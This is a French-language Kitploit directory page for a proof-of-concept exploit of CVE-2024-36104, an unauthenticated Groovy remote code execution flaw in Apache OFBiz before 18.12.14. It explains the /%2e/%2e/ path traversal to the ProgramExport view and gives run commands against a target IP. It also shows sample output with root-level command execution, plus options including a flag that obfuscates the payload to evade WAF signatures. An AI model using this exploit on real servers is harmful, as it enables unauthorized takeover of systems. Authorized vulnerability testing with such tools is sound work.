Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-36104-PoC — PoC pour CVE-2024-36104 — RCE Groovy non authentifiée dans Apache OFBiz (<18.12.14) via /%2e/%2e/ traversée de chemin view vers ProgramExport | Kitploit
Outils/GitHubGitHub/groppoxx/cve-2024-36104-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubgroppoxx/cve-2024-36104-poc

CVE-2024-36104-PoC

PoC pour CVE-2024-36104 — RCE Groovy non authentifiée dans Apache OFBiz (<18.12.14) via /%2e/%2e/ traversée de chemin view vers ProgramExport

Voir le dépôt
32il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-36104-PoC

Preuve de concept pour CVE-2024-36104, une vulnérabilité d'exécution de code à distance sans authentification dans Apache OFBiz versions antérieures à 18.12.14.

Le ControlServlet d'OFBiz résout une vue non authentifiée (forgotPassword) avant de canonicaliser le chemin de la requête. L'ajout de /%2e/%2e/ ramène au chemin /webtools/control/, si bien que la requête atteint la vue ProgramExport sans jamais passer par le contrôle de sécurité/permission associé à la vue d'origine. ProgramExport exécute ensuite du code Groovy arbitraire, ce qui permet une exécution de commandes à distance sans authentification.

Le script encapsule la commande dans un extrait Groovy qui l'exécute via /usr/bin/bash -lc, l'envoie au point de terminaison vulnérable, puis extrait la sortie de la java.lang.Exception qu'OFBiz renvoie dans la réponse HTML.

Ce qu'il fait

  1. Valide et normalise l'URL cible.
  2. Construit le chemin de traversée /%2e/%2e/ de forgotPassword à ProgramExport.
  3. Encapsule la commande dans une charge utile Groovy exécutée via Bash.
  4. Envoie la charge utile comme groovyProgram au point de terminaison vulnérable.
  5. Analyse la réponse HTML et extrait la sortie de la commande.
  6. En cas d'échec de l'analyse ou d'erreur serveur, utilise la réponse brute.

Prérequis

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Paquets Python requis :

root@kitploit:~
requests
urllib3

Démarrage rapide

Les valeurs entre chevrons sont des paramètres à remplacer. Remplacez-les par vos propres valeurs et n'incluez pas les caractères < ni >.

root@kitploit:~
python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

Paramètres à remplacer

root@kitploit:~
<TARGET_URL>  # Target base URL. Example: https://10.129.231.23
<COMMAND>     # Command that Bash will interpret. Example: id

Exemple complet

root@kitploit:~
python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

Exemple de sortie :

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

Options facultatives

root@kitploit:~
-H, --host-header <HOST>
   Value of the Host header. Default: localhost

--prefix-view <VIEW>
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view <VIEW>
   View reached after the traversal. Default: ProgramExport

--endpoint <PATH>
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout <SECONDS>
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.

Remarques

  • Concerne les versions d'Apache OFBiz antérieures à 18.12.14.
  • Aucune authentification ni interaction utilisateur n'est requise.
  • Si le serveur renvoie 502, le backend n'a probablement pas terminé avant le délai d'expiration du proxy ; la commande peut tout de même s'exécuter côté serveur.
  • Utilisez --show-response pour inspecter le HTML brut lorsque l'extraction automatique échoue.

Avertissement légal

Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification de vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil